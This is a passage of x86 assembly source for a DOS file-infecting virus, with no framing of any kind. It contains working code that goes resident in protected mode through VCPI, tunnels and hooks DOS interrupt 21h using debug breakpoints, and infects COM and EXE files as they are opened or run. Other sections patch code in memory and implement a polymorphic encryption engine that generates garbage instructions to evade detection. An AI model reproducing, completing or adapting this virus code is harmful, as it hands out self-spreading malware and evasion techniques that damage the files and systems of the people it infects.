mov si,ds:filesize_l
and si,si ; Is the virus dropper?
jz exit_program ; Yes? then jmp
mov di,100h
add si,di ; End of original file
cld
mov es,ds:codesegment
mov ds,ds:codesegment
push es
push offset(copy_code)
mov cx,ds:size_in_file
restore_mcb:
mov ah,4Ah
mov bx,cs:size_mcb
int 21h ; Restore MCB size
retf ; Restore original code and return to host
exit_program:
mov ax,4C00h
int 21h ; Exit program
go_resident:
call encrypt_infection_routine ; Decrypt
call tunnel_i21
mov ax,0DE00h ; VCPI installation check
call VCPI ; Doesn't return if not installed
mov saved_sp,sp
mov saved_ss,ss
mov di,offset(pages_4K)
mov cx,4 ; Allocate 4 pages (4K per page)
l_alloc_page:
mov ax,0DE04h ; VCPI - Allocate a 4K page
call VCPI
mov [di],edx ; EDX = physical address of page
scasd ; == add di,4
loop l_alloc_page
mov bx,cs
add bx,100h ; Align data area on page
xor bl,bl
inc bh
mov es,bx ; Base address of directory page
mov ds:addr_dir_page,bx
xor ax,ax
xor di,di
mov cx,(4096+4096)/2 ; 2 pages
rep stosw ; Clear directory page area (4K)
; and page table (4K)
mov ax,0DE01h ; VCPI - Get Protected Mode Interface
; ES:DI -> 4K page table buffer
; DS:SI -> three descriptor table
; entries in GDT. First
; becomes code segment
; descriptor, other two for
; use by main control prog.
mov ds,bx ; DS := segment of dir page table
inc bh ; add 100h
mov es,bx ; ES := segment of page table
xor di,di
mov si,100h+VCPICS_SEL ; GDT in page table + 100h
call VCPI
push cs
pop ds
mov ds:pm_ep,ebx ; EBX = protected mode EP in code seg.
xor si,si
mov cx,400h ; 4GB, all addressable memory
xor bx,bx ; BX in [0..3FFh]
l_entry: ; Map the memory in the page table
mov eax,es:[si] ; Read page table entry
cmp eax,0 ; Invalid (available) entry?
jnz next_page_entry ; No? then jmp
movzx eax,bx ; Page entry
shl eax,0Ch ; Page frame address
mov al,67h ; Dirty, Accessed, User, Write, Present
mov es:[si],eax ; Store page in page table
next_page_entry:
add si,4 ; Next entry
inc bx
loop l_entry
mov eax,ds:page_1 ; Map page_1 in page table
mov esi,eax
mov al,67h ; Dirty, Accessed, User, Write, Present
shr esi,0Ah ; Calculate page number in page table
mov es:[esi],eax ; Store page in page table
mov ds:virus_cs,cs
call setup_system_regs
sidt qword ptr ds:IDT
sgdt qword ptr ds:GDT
mov esi,100h ; GDT (addr.dir.page table + 100h)
push es
pop ds
mov cx,cs
movzx ecx,cx
shl ecx,4 ; Segment Base (CS)
mov ax,CODE_SEL
mov ebx,0FFFFh ; Segment Limit (64K)
mov dx,0000000010011010b ; Access rights: Executable
; code, readable, present,
; DPL 0
push ecx
push ebx
call build_descriptor
mov ax,DATACS_SEL
pop ebx ; Limit (64K)
pop ecx
mov dx,0000000010010010b ; Access rights: Data, writable,
; present, DPL 0
call build_descriptor
mov ax,ALLMEM_SEL
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB: granularity on)
mov dx,1000000010010010b ; Access rights: Data, writeble,
; present, granularity, DPL 0
call build_descriptor
mov ax,TSS_SEL
mov cx,ds
movzx ecx,cx
shl ecx,4 ; Addr. directory page table
push ecx
add ecx,10h ; TSS in dir.page table + 10h
mov dx,0000000010001001b ; Access rights: System, DPL 0,
; available 386 TSS, present
mov ebx,67h ; Limit
call build_descriptor
pop ecx ; Addr. directory page table
add ecx,100h ; GDT in dir.page table + 100h
push cs
pop ds
mov ds:base_gdt,ecx
cli
mov ax,cs
movzx esi,ax
mov ax,0DE0Ch
shl esi,4
add esi,offset(system_registers)
int 67h ; VCPI - Switch to protected mode
; ESI = linear address in first megabyte of
; values for system registers
; Return: interrupts disabled
; GDTR, IDTR, LDTR, TR loaded
jmp $
ofs_i1 dw 0
seg_i1 dw 0
save_ss dw 0
save_sp dw 0
int_1:
push bp
push ds
push si
mov bp,sp
lds si,[bp+6] ; Get return address from stack
cmp word ptr [si],9090h ; NOP+NOP? (int 21h entry point)
je found_i21_entry ; Yes? then jmp
pop si
pop ds
pop bp
iret
tunnel_i21:
mov ax,3501h
int 21h ; Get int 1h vector (trace)
mov ds:ofs_i1,bx
mov ds:seg_i1,es
mov dx,offset(int_1)
mov ah,25h
int 21h ; Set new int 1h
push cs
push cs
mov ds:save_ss,ss ; Save stack
mov ds:save_sp,sp
cld
pushf
pushf
pop ax ; Read flags
or ax,100h ; Set bit trace on
push ax
xor ax,ax
mov ds,ax ; DS := 0
mov ah,30h ; Get DOS version
push cs
pop es
popf ; Activate int 1h tunneler
call dword ptr ds:[21h*4]
pop es
xor ax,ax
mov ds,ax ; DS := 0
mov di,offset(ofs_i21)
mov si,21h*4
movsw
movsw
pop ds
push cs
jmp restore_i1
found_i21_entry:
mov ss,cs:save_ss ; Restore stack
mov sp,cs:save_sp
mov si,[si+8]
lodsw ; Store int 21h entry point
mov cs:ofs_i21,ax
lodsw
pop ds
mov ds:seg_i21,ax
restore_i1:
xor ax,ax
mov es,ax ; ES := 0
mov di,1h*4
mov si,offset(ofs_i1)
movsw ; Restore int 1h
movsw
pop es
ret
; PM Entry point
pm_entry_point:
mov ax,DATACS_SEL
mov ss,ax ; Stack descriptor
mov sp,offset(_stack)
mov es,ax ; Extra data descriptor
mov ax,ALLMEM_SEL
mov ds,ax ; Data descriptor
mov esi,es:GDT_base
movzx ecx,es:GDT_limit
inc ecx ; First entry unused
shr ecx,3 ; Number of entries in GDT
xor bx,bx
xor eax,eax
l_next_gdt_entry:
add esi,8 ; Next descriptor
add bx,00001000b ; Next selector
cmp eax,[esi+4] ; Available entry?
jne next_gdt_entry ; No? then jmp
mov es:virus_selector,bx
mov ebx,0FFFh ; Limit 4K
mov ecx,es:page_1
mov dx,0000000010011011b ; Access rights: Code, Readable,
; present, accessed, DPL 0
call build_descriptor
add esi,8 ; Next descriptor
xor ecx,ecx
mov ebx,0FFFFFFFFh ; Limit (4GB : granurality on)
mov dx,1000000010010010b ; Access rights: Data, Writable,
; present, DPL 0
call build_descriptor
jmp search_pagetable
next_gdt_entry:
loop l_next_gdt_entry
no_descriptor:
jmp no_descriptor ; Descriptor not found in GDT
search_pagetable:
mov esi,1024*1024 ; 1MB
l_search_pagetable:
add esi,4*1024 ; 4KB (a page)
cmp dword ptr [esi],67h ; Page for address 0 ?
jne l_search_pagetable ; No? then jmp
cmp dword ptr [esi+4],1067h ; Page for address 4096 ?
jne l_search_pagetable ; No? then jmp
mov es:pagetable,esi
movzx eax,word ptr ds:[21h*4] ; Get int 21h vector
movzx ebx,word ptr ds:[21h*4+2]
shl ebx,4 ; Calculate physical address
add eax,ebx
mov es:i21h_ep,eax ; Save old int 21h
call set_breakpoints
mov es:infecting,0 ; Flag: can infect files
mov eax,es:page_1 ; Insert vir page in page table
mov ebx,eax
mov al,67h
shr ebx,0Ah
mov [esi][ebx],eax
mov di,offset(orig_i1)
mov ecx,1 ; Int 1h (trace)
mov ax,offset(pm_int_1)
call build_idt_descriptor
add di,6 ; offset(orig_i9)
mov ecx,9 ; Int 9h
mov ax,offset(pm_int_9)
call build_idt_descriptor
push es
push ds
pop es
pop ds
xor esi,esi
mov edi,ds:page_1
cld
mov ecx,1024
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy (4k) to virus page
movzx eax,saved_sp
mov bx,ds:virus_cs
push cx
push bx ; GS
push cx
push bx ; FS
push cx
push bx ; DS
push cx
push bx ; ES
push cx
push saved_ss ; SS
push es
push ds
pop es
pop ds
push eax ; ESP
pushfd ; Flags
push cx
push bx ; CS
push 0
push offset(free_virmem) ; EIP
movzx esp,sp
mov ax,0DE0Ch ; Switch to protected mode (v86 mode)
call fword ptr cs:pm_ep
pm_int_9:
push eax
mov eax,dr7
and ax,0000001100001010b ; Check breakpoints
cmp ax,0000001100001010b ; Removed?
je check_ctrlaltdel ; No? then jmp
call set_breakpoints ; else restore them
check_ctrlaltdel:
in al,60h ; Read scan code from keyboard
cmp al,53h ; DEL key?
jne exit_pm9 ; No? then jmp
call set_ds
mov al,ds:[417h] ; Get keyboard status (0:417h)
and al,0Ch
cmp al,0Ch ; CTRL & ALT pressed?
jne exit_pm9 ; No? then jmp
xor eax,eax
mov dr7,eax ; Remove breakpoints if reset
exit_pm9:
pop eax
jmp fword ptr cs:orig_i9
exit_pm1:
pop eax
jmp fword ptr cs:orig_i1
pm_int_1:
push eax
mov eax,dr6 ; Test breakpoint number
test al,3 ; Breakpoint 0 or 1?
jz exit_pm1 ; No? then jmp
test al,2 ; Breakpoint 1?
jz dos_bp ; Yes? then jmp
xor eax,eax ; Else breakpoint 0
mov dr7,eax ; Remove breakpoints
pop eax
iretd
dos_bp:
xor eax,eax
mov dr6,eax ; Clear dr6 (never cleared by CPU)
pop eax
or byte ptr [esp+0Ah],1 ; Set RF in stack
cmp ax,0BABAh ; Residency check?
jne check_function ; No? then jmp
mov ax,0FACCh ; DOS will try to exec function 0FACCh
; but it doesn't exist, then DOS will
; return 0FA00h
_iretd:
iretd
check_function:
cmp ax,3506h ; Get int 6 vector?
je check_patch ; Yes? then jmp
cmp ax,4B00h ; Exec file?
je check_prev_inf ; Yes? then jmp
cmp ah,3Dh ; Open file?
jne _iretd ; No? then jmp
test al,0Fh ; For reading?
jne _iretd ; No? then jmp
check_prev_inf:
cmp cs:infecting,1 ; Exist a copy for infection?
je kill_copy4infection ; Yes? Kill it (finished work)
pushad
call set_ds
mov es,ax
mov ecx,cs:page_1
xor ebp,ebp
mov esi,90h ; Segment 90h (phys. 90000h)
l_map_page234:
mov edx,cs:page_2[ebp*4]
call map_page
db 66h,67h,89h,9Ch,0A9h ; (TASM FIX)
dd offset(old_pages) ; mov [ecx+old_pages][ebp*4],ebx
; Store old page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; Pages 2,3 and 4 in page table?
jne l_map_page234 ; No? then jmp
mov esi,cs:page_1
mov edi,90000h
mov ds:[esi+infecting],1
mov [esi+STACK_SIZE],esp ; moc [esi+_esp],esp (TASM FIX)
cld
mov ecx,400h ; 4KB
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy code
mov ax,ss
mov ds,ax
mov esi,esp
mov edi,cs:page_1
mov ecx,STACK_SIZE/4
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Copy stack
popad
mov eax,9000h
push eax ; GS
push eax ; FS
push dword ptr [esp+20h] ; DS
push dword ptr [esp+20h] ; ES
push eax ; SS
db 66h ; (TASM FIX) PUSH 0FFFEh (dword)
push 0FFEh ; ESP
dw 0 ; (TASM FIX)
push 23000h ; EFLAGS (VM 8086, RPL 3)
push eax ; CS
mov eax,offset(infect_file)
push eax ; EIP
iretd ; Jump to infect_file task, pm level 3
check_patch:
pushad
mov bx,cs
mov ds,bx ; DS = CS
add bx,8
mov es,bx
mov esi,offset(memory_patch)
mov bp,2 ; Number of patches
cld
search_code:
mov edi,90000h
mov eax,[si]
search_patch:
dec edi
jz skip_patch
cmp es:[edi],eax ; Maybe the code it's searching
jne search_patch ; No? then jmp
movzx ebx,byte ptr [si+4]
mov edx,[si+5]
cmp es:[edi][ebx],edx ; Code found?
jne search_patch ; No? then jmp
movsx ebx,byte ptr [si+9] ; Offset to the patch
add edi,ebx
movzx ecx,byte ptr [si+0Ah] ; Number of bytes to patch
add si,start_patch1-memory_patch
db 0F3h,67h,0A4h ; rep movsb (TASM FIX)
; Patch it
jmp next_patch
skip_patch:
movzx ax,[si+0Ah] ; Point next patch
add si,ax
add si,start_patch1-memory_patch
next_patch:
dec bp ; Another patch?
jnz search_code ; Yes? then jmp
jmp exit_21h
memory_patch:
; Patch #1
db 83h, 0c6h, 32h, 81h ; Bytes to search (1)
db 0Ah ; Offset to bytes (2)
db 68h, 4Eh, 9Ch, 9Ah ; Bytes to search (2)
db 0Dh ; Offset to the patch
db end_patch1-start_patch1 ; Patch size
start_patch1:
db 0EBh, 3 ; Patch code
end_patch1:
; Patch #2
db 8Dh, 56h, 0D6h, 3 ; Bytes to search (1)
db 5 ; Offset to bytes 2
db 36h, 89h, 7, 8Bh ; Bytes to search (2)
db 0FCh ; Offset to the patch
db end_patch2-start_patch2 ; Patch size
start_patch2:
db 0D1h, 0E6h, 83h, 0FEh, 0Ah, 75h, 2, 33h, 0C0h, 89h
db 42h, 0D6h, 0D1h, 0EEh, 4, 6, 93h ; Patch code
end_patch2:
infect_file:
xor ax,ax
mov di,dx
mov cx,41h
push ds
pop es
cld
repne scasb ; Search end of path
jcxz jmp_return_dpl0 ; Found? No? then jmp
jmp check_extension ; Yes? then jmp
jmp_return_dpl0:
jmp return_dpl0
check_extension:
mov ax,[di-4] ; Read file extension
and ax,0F0Fh
cmp ax,('OC' and 0F0Fh) ; (*.CO?) COM file?
je executable_file ; Yes? then jmp
cmp ax,('XE' and 0F0Fh) ; (*.EX?) EXE file?
je executable_file ; Yes? then jmp
jmp return_dpl0
executable_file:
mov si,di
sub si,6
std
mov cx,7
xor bx,bx
l_do_crc: ; Make CRC with filename
lodsb
and al,1Fh
add bl,al
loop l_do_crc
cld
cmp bl,3Fh ; Skip filename (CRC) ?
jne no_skip_file ; No? then jmp
jmp return_dpl0 ; Yes? then jmp
no_skip_file:
mov ax,3D02h
call int_21h ; Open file I/O
xchg ax,bx ; BX := handle
push cs
push cs
pop ds
pop es
call initialize_random_seed
mov ax,5700h
call int_21h ; Get file date & time
mov filedate,dx ; Save
mov filetime,cx
and cl,1Fh
cmp cl,11h ; Already infected?
je close_file ; Yes? then jmp
and byte ptr filetime,0E0h ; Mark infection
or byte ptr filetime,11h
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read
cmp ax,BUFFER_SIZE ; Too small?
jne close_file ; Yes? then jmp
call go_end_file
mov ds:filesize_l,ax ; Save original file size
mov ds:filesize_h,dx
cmp ax,0F000h ; Too big?
ja close_file ; Yes? then jmp
cmp ds:signature,'ZM' ; EXE file?
je infect_exe ; Yes? then jmp
mov ds:host_type,0 ; It's a COM file
call setup_engine ; Encrypt virus code
push cx
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Write original code (end of file)
call go_start_file
pop cx
mov ah,40h
mov dx,BUFFER_SIZE
call int_21h ; Write encrypted virus code
restore_fdate:
mov cx,filetime
mov dx,filedate
mov ax,5701h
call int_21h ; Restore file date and time
close_file:
mov ah,3Eh
call int_21h ; Close file
return_dpl0:
mov ax,4B00h
int 21h ; Re-enter virus int 21h to kill this
; copy done for replication
infect_exe:
cmp ds:pages,5 ; Too small?
jb close_file ; Yes? then jmp
db 83h, 3Eh ; (TASM 2.5 FIX. UNNECESSARY IN 4.0)
dw offset(max_mem)
db 0FFh ; cmp ds:max_mem,0FFFFh
; Needs memory? TSR or exec files?
jne close_file ; Yes? then jmp
mov ds:host_type,1 ; It's an EXE file
xor ax,ax
xchg ax,ds:relo_items ; Numbers of relocation items
; Set it to 0
mov ds:reloc_items,ax
cmp ax,4096 ; Too much items?
ja close_file ; Yes? then jmp
mov ax,ds:ofs_reloc ; Offset of 1st reloc. item
mov ds:ofs_relocitems,ax
mov eax,dword ptr ds:filesize_l
movzx ecx,ds:header_size
shl ecx,4 ; Calculate header size
sub eax,ecx ; Total size - header size
cmp eax,1000h ; Loadable module too small?
jb close_file ; Yes? then jmp
mov si,offset(val_ip)
mov di,offset(file_exeIP)
movsw ; Save Exe IP
movsw ; Save Exe CS
xor ax,ax
mov di,offset(val_ip)
stosw ; Set to 0
stosw ; Set to 0(vir code starts after header)
call go_start_file
mov cx,100h
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Save modified header
xor cx,cx
mov dx,ds:header_size
shl dx,4 ; Calculate size header
push dx
mov ax,4200h
call int_21h ; Lseek after header
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read original code
call setup_engine ; Encrypt virus code
pop dx
push cx
xor cx,cx
mov ax,4200h
call int_21h ; Lseek after header
mov ah,40h
pop cx
push cx
mov dx,BUFFER_SIZE
call int_21h ; Save encrypted virus code after header
call go_end_file
pop cx
mov dx,offset(buffer2)
mov ah,40h
call int_21h ; Save original code (end of file)
jmp restore_fdate
go_start_file:
mov ax,4200h
xor dx,dx
xor cx,cx
call int_21h ; Lseek start
ret
go_end_file:
xor dx,dx
xor cx,cx
mov ax,4202h
call int_21h ; Lseek end
ret
int_21h:
pushf
db 9Ah ; call far int 21h
ofs_i21 dw 0
seg_i21 dw 0
jnc no_i21_error
mov ax,4B00h
int 21h ; If error then re-enter virus int 21h
; to remove the virus copy done for
; infection
no_i21_error:
ret
filesize_l dw 0
filesize_h dw 0
size_in_file dw 0
xor_mask dw 0
file_exeIP dw 0
file_reloCS dw 0
reloc_items dw 0
ofs_relocitems dw 0
mutation_engine:
mov enc_buffer,di ; Addr. buffer
mov delta_ofs,bp ; Addr. source code
mov mask_dec_ofs,0
mov end_encryptor,0C3h ; RET
mov code_size,cx ; Number of bytes to encrypt
push cs
pop es
sub ax,bx ; Decryptor size in [BX..AX]
call get_n_random ; [0..AX-BX]
add ax,bx ; [BX..AX]
mov decryptor_size,ax
add di,ax ; Space for decryptor in buffer
rep movsb ; Copy code to encrypt
mov ax,2
call get_n_random ; [0,1]
mov ptr_select_reg,ax
mov ax,5
call get_n_random ; [0..4]
add al,0Ah ; [0Ah..0Eh]
xchg ax,cx
mov ax,decryptor_size
div cl
sub cl,4
mov operations,cl ; Number of encryption ops
xor ah,ah
mov max_garbage,ax ; Max garbage per operation
mov al,3
call get_n_random ; [0..2]
inc al ; AL in [1..3]
or ds:op_dec_counter,al ; Opcode for decreasing counter
mov ds:reg_counter,al
call get_garbage_number
mov di,enc_buffer
call generate_garbage
mov bx,offset(register_table)
add bx,ptr_select_reg ; Select registers in table
mov al,[bx] ; Register 0 (SI) or 1 (DI)
mov indexreg_op1,al ; Index for operations
mov dl,[bx+2] ; Register 2 (SI) or 3 (DI)
mov ds:indexreg_op2,dl ; Index register
mov bp,decryptor_size
add bp,delta_ofs
call get_garbage_number
call generate_mov ; Load a reg with delta-ofs
mov dl,ds:reg_counter
mov bp,code_size
call get_garbage_number
shr cx,1 ; Decrypt words
call generate_mov ; Load a reg with # of loops
mov ds:in_loop,1
mov ofs_loop_begin,di ; Start of loop code
call get_garbage_number
shr cx,1
call generate_garbage
mov cl,operations ; Number of operations
xor ch,ch
l_gen_op:
push cx
call generate_operation
call get_garbage_number
call generate_garbage
pop cx
loop l_gen_op
mov al,40h ; Gen. inc index reg (SI | DI)
or al,ds:indexreg_op2
stosb
call get_garbage_number
call generate_garbage
mov cx,di ; End loop
sub cx,ofs_loop_begin ; Calculate loop size
inc cx
inc cx
push si
mov si,offset(code_loop) ; Generate end-loop code
movsw
movsw
movsw
pop si
add cx,4
neg cx
mov [di-2],cx ; Jmp to begin of loop
jmp fill_with_garbage
code_loop:
op_dec_counter db 48h ; dec reg_counter: DEC CX | DX | BX
jz end_code_loop
db 0e9h,0,0 ; jmp to start of decryption loop
end_code_loop:
fill_with_garbage:
mov cx,decryptor_size
add cx,enc_buffer
sub cx,di ; Fill buffer with garbage
mov ds:in_loop,0 ; Loop finished
call generate_garbage
push di
mov cx,code_size
mov bx,decryptor_size
add bx,enc_buffer
mov al,ds:indexreg_op2
or ds:mov_pointerreg_bx,al
or ds:inc_pointerreg,al
mov ax,ds:encryptor_ptr
sti
db 89h ; mov index register,bx
mov_pointerreg_bx db 0D8h
l_encrypt_code:
cli
call ds:encryptor_ptr
sti
inc_pointerreg db 40h ; inc index register
loop l_encrypt_code
pop cx
mov dx,enc_buffer
sub cx,dx
add cx,code_size
mov ds:encryptor_ptr,offset(end_encryptor) ; Reset buffers
mov ds:ofs_endencryptor,offset(end_encryptor)
mov al,0F8h
and ds:mov_pointerreg_bx,al ; Clear registers
and ds:inc_pointerreg,al
and ds:op_dec_counter,al
ret
register_table:
db 4 ; SI
db 5 ; DI
db 6 ; SI
db 7 ; DI
generate_operation:
mov ax,7
call get_n_random ; [0..6]
shl ax,2 ; AX in [0,4,8,...,24]
mov si,offset(operation_table)
add si,ax ; Select operation
mov bx,ds:encryptor_ptr
cmp al,20 ; Needs an immediate address?
ja get_immaddr ; Yes? then jmp
mov cx,[si] ; Get decryptor opcode
or ch,indexreg_op1 ; Insert op register
mov [di],cx ; Add to decryptor
mov cx,[si+2] ; Get encryptor opcode
or ch,indexreg_op1 ; Insert op register
scasw ; SI+2, DI+2
cmp al,12 ; Inst. needs a mask?
jb get_inst_mask ; Yes? then jmp
mov [bx-2],cx ; Add to encryptor
sub ds:encryptor_ptr,2 ; Next encryptor entry
ret
get_inst_mask:
mov al,0FFh
call get_n_random ; Get mask [0..0FEh]
mov mask_dec_ofs,di ; Save current offsets
mov mask_enc_ofs,bx
stosb ; Add mask to decryptor
mov [bx-3],cx ; Add instruction to encryptor
mov [bx-1],al ; Add mask to encryptor
sub ds:encryptor_ptr,3
ret
get_immaddr:
cmp mask_dec_ofs,0 ; Any mask instruction?
jz no_mask_inst ; No? then jmp
mov bx,ds:ofs_endencryptor ; Add inst at end of encryptor
mov ax,[si]
stosw ; Add instruction to decryptor
mov ax,[si+2]
mov [bx],ax ; Add instruction to encryptor
mov ax,mask_dec_ofs ; Calculate mask address in decryptor
add ax,delta_ofs
sub ax,enc_buffer
stosw ; Add address to instruction
mov ax,mask_enc_ofs ; Calculate mask address in encryptor
dec ax
mov [bx+2],ax ; Add to encryptor
mov al,0FFh
call get_n_random ; [0..0FEh]
stosb ; Value for adding to the mask
mov [bx+4],al
add ds:ofs_endencryptor,5 ; New end of encryptor
mov byte ptr [bx+5],0C3h ; Add a RET at end
mov mask_dec_ofs,0
no_mask_inst:
ret
operation_table:
db 80h,30h ; xor byte ptr [index],??
db 80h,30h ; xor byte ptr [index],??
generate_mov:
mov ax,4
call get_n_random ; [0..3]
mov si,offset(mov_table)
xchg al,ah
aad 3 ; Select mov type
add si,ax
lodsb
shl ax,1 ; Check if needs to use routine 1 or 0
xchg ax,bx
call [bx+offset(mov_select)]
ret
mov_select:
dw offset(mov_r1)
dw offset(mov_r2)
mov_table:
db 0 ; Use mov_r1
db 0C7h,0C0h ; MOV reg,imm
db 1 ; Use mov_r2
db 81h,0C8h ; OR reg,imm
db 1 ; Use mov_r2
db 81h,0C0h ; ADD reg,imm
db 1 ; Use mov_r2
db 81h,0F0h ; XOR reg,imm
reg0_table:
db 29h,0C0h ; SUB reg,reg
db 31h,0C0h ; XOR reg,reg
get_garbage_number:
mov ax,max_garbage
call get_n_random ; [0..max_garbage-1]
xchg ax,cx
ret
generate_garbage:
and cx,cx ; Generate garbage?
jnz do_garbage ; Yes? then jmp
ret
do_garbage:
mov si,offset(garbage_table)
l_select_entry:
mov ax,1Fh
call get_n_random ; [0..1Eh]
mov dl,al
inc dl ; DL in [1..1Fh]
process_table_entry:
mov al,[si] ; Read entry
cmp al,4Eh ; End of table?
jne check_entry ; No? then jmp
mov si,offset(garbage_table)
jmp process_table_entry
check_entry:
mov dh,al
and al,0Fh ; Get number of opcodes
cbw ; AH:=0 (b'cos AL<80h)
and dl,dl ; Generate this instruction block?
jz generate_block ; Yes? then jmp
dec dl
shr dh,4 ; Calculate next table entry address :
add al,dh ; #opcodes + #patches + 2
add si,ax
inc si
inc si
jmp process_table_entry
generate_block:
push cx
sub cx,ax ; Sub instruction size from garbage
test ch,80h ; Instruction too big?
pop cx
jne l_select_entry ; Yes? then jmp (don't generate)
mov ds:garbagetogen,cx ; Remaining garbage
mov bl,[si+1] ; Read block flags
cmp ds:jmp_ofs,bl ; Allowed instruction? (don't allow
; cond.jmp inside another cond.jmp)
ja l_select_entry ; No? then jmp
mov bh,bl
test bl,40h ; Can be in the decryptor loop?
jne loop_ok ; Yes? then jmp
cmp ds:in_loop,1 ; Is in the loop?
je l_select_entry ; Yes? then jmp
loop_ok:
push ax
mov ax,3Fh
and bl,al ; Get block probabilities
call get_n_random
cmp bl,al ; Generate block?
pop ax
jb l_select_entry ; No? then jmp
inc si
push si
push cx
xor bx,bx
mov bl,dh
and bl,0F0h ; get # of patches
shr bl,4
inc bx
mov cx,ax ; # of opcodes
push si
push di
add si,bx
rep movsb ; Generate block
pop di
pop si
mov cx,bx ; # of patches
dec cx ; Any patch?
jcxz done_patches ; No? then jmp
l_do_patches:
inc si
mov al,[si] ; Read patch from table
mov dl,al
and al,0Fh ; Get byte to patch
cbw
mov bp,ax
mov al,dl
and al,0F0h ; Get function to use
shr al,3
mov bx,ax
add bx,offset(function_table)
call word ptr [bx] ; Call function
loop l_do_patches
done_patches:
pop cx
pop si
mov al,dh
and al,0Fh ; Number of opcodes
cbw
shr dh,4 ; Number of patches
sub cx,ax ; Sub generated # from total garbage
add di,ax ; Inc buffer pointer
add al,dh ; opcodes+patches
add si,ax ; SI points to next table entry
inc si ;
mov al,ds:jmp_ofs
and al,al ; Any jmp?
jz all_garbage? ; No? then jmp
test al,80h ; Generating a jump?
jnz all_garbage? ; Yes? then jmp
; else jmp is finished
add cx,di ; garbage to gen + current offset
mov di,previous_ofs ; Save current offset
sub cx,di ; Sub jmp displacement from garbage
mov ds:jmp_ofs,0
all_garbage?:
and cx,cx ; All garbage generated?
jz exit_garbage ; Yes? then jmp
jmp l_select_entry ; No? then jmp
exit_garbage:
mov previous_ofs,di
ret
function_table:
F_G_BYTE = 0 * 16
dw offset(generate_byte_word)
F_I_OP_REG = 1 * 16
dw offset(insert_op_reg)
F_I_REG = 2 * 16
dw offset(insert_reg)
F_I_MODRM = 3 * 16
dw offset(insert_modrm)
F_I_RM = 4 * 16
dw offset(insert_rm)
F_ADD_0_5 = 5 * 16
dw offset(add_0_5)
F_I_REGRMMOD = 6 * 16
dw offset(insert_regrmmod)
F_G_JXX = 7 * 16
dw offset(generate_jxx)
F_G_WORD = 8 * 16
dw offset(generate_byte_word)
F_I_REG_PRESERVE_MODRM = 9 * 16
dw offset(insert_reg_preserve_modrm)
F_I_RUNTIME_OFS = 10 * 16
dw offset(insert_runtime_ofs)
F_I_LAST_REG_SRC = 11 * 16
dw offset(insert_last_reg_src)
F_I_LAST_REG_DEST = 12 * 16
dw offset(insert_last_reg_dest)
generate_byte_word:
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp],al ; Store byte
test dl,80h ; Generating word?
jz ret_gen_b_w ; No? then jmp
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp+1],al ; Store another byte
ret_gen_b_w:
ret
insert_mod:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,80h ; AL:=(80h or 0)
mov ah,al
shr al,1 ; AL:=(40h or 0)
or al,ah ; AL:=(0C0h or 0)
or es:[di+bp],al ; 0 -> register index
; 0C0 -> register to register
ret
insert_reg:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,7 ; Select register
cmp al,ds:reg_sp ; SP ?
je insert_reg ; Yes? then jmp
cmp al,ds:indexreg_op2 ; Used as index ?
je insert_reg ; Yes? then jmp
push ax
and al,3
cmp al,ds:reg_counter ; Used as counter ?
pop ax
je insert_reg ; Yes? then jmp
or es:[di+bp],al ; Insert register
mov unused_reg,al ; Save for later use
ret
add_0_5:
mov al,6
call get_n_random ; [0..5]
add es:[di+bp],al
ret
insert_rm:
mov al,80h
call get_n_random ; [0..7Fh]
and al,00000111b ; AL in [0..7]
cmp al,00000110b ; immediate address?
je insert_rm ; Yes? Skip it
or es:[di+bp],al
ret
insert_modrm:
call insert_mod
call insert_rm
ret
insert_regrmmod:
call insert_reg
shl byte ptr es:[di+bp],3 ; Register
call insert_rm
call insert_mod
ret
insert_op_reg:
mov al,0Fh ; [0..0Eh]
call get_n_random
shl al,3 ; Operation
or es:[di+bp],al ; ADD, OR, ADC,...
call insert_reg
ret
generate_jxx:
mov al,10h ; [0..0Fh]
call get_n_random
or es:[di+bp-1],al ; JO,JNO,JB,JNB,JE,JNE,JBE,JA,
; JS,JNS,JP,JNP,JL,JLE,JG
mov ax,ds:garbagetogen ; Don't jmp out of garbage code
dec ax
dec ax
call get_n_random ; [0..AX-1]
and ax,3Fh ; jmp offset in [0..3Fh]
mov es:[di+bp],al ; Write offset
cbw
pusha
mov cx,ax
or al,80h ; Flag: generating cond. jmp
mov ds:jmp_ofs,al
add di,bp
inc di
call generate_garbage
and ds:jmp_ofs,7Fh ; Clear flag
popa
ret
insert_reg_preserve_modrm:
mov bl,es:[di+bp] ; Read mod, r/m
mov byte ptr es:[di+bp],0
call insert_reg
shl byte ptr es:[di+bp],3 ; Insert register
or byte ptr es:[di+bp],bl ; Previous mod, r/m
ret
insert_last_reg_src:
mov al,unused_reg
or es:[di+bp],al ; Insert register
ret
insert_runtime_ofs:
mov ax,di ; Destination offset
sub ax,enc_buffer ; Offset in buffer
add ax,delta_ofs ; Offset in runtime
add es:[di+bp],ax
ret
insert_last_reg_dest:
mov al,unused_reg
shl al,3
or es:[di+bp],al ; Insert register
ret
garbage_table:
; TEST ??,imm8 :
db 23h ; 2 fixes, 3 bytes
db 0FFh ; Generate always, in loop, 100%
db F_I_MODRM + 1 ; Function F_I_MODRM in byte 1
db F_G_BYTE + 2 ; Function F_G_BYTE in byte 2
db 0F6h ; byte 0
db 0 ; byte 1
db 0 ; byte 2
; Jxx :
db 12h
db 7Fh ; Don't gen a Jxx when another is being gen
db F_G_JXX + 1
db 70h
db 0
; Arithmetic ops :
db 24h
db 0FFh
db F_I_OP_REG + 1
DB F_G_WORD + 2
db 81h
db 0C0h
db 0
db 0
; DEC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 48h
; ROL,ROR,RCL,... reg,1
db 12h
db 0FFh
db F_I_OP_REG + 1
db 0D1h
db 0C0h
; NEG reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D8h
; CMP xx,reg :
db 12h
db 0FFh
db F_I_REGRMMOD + 1
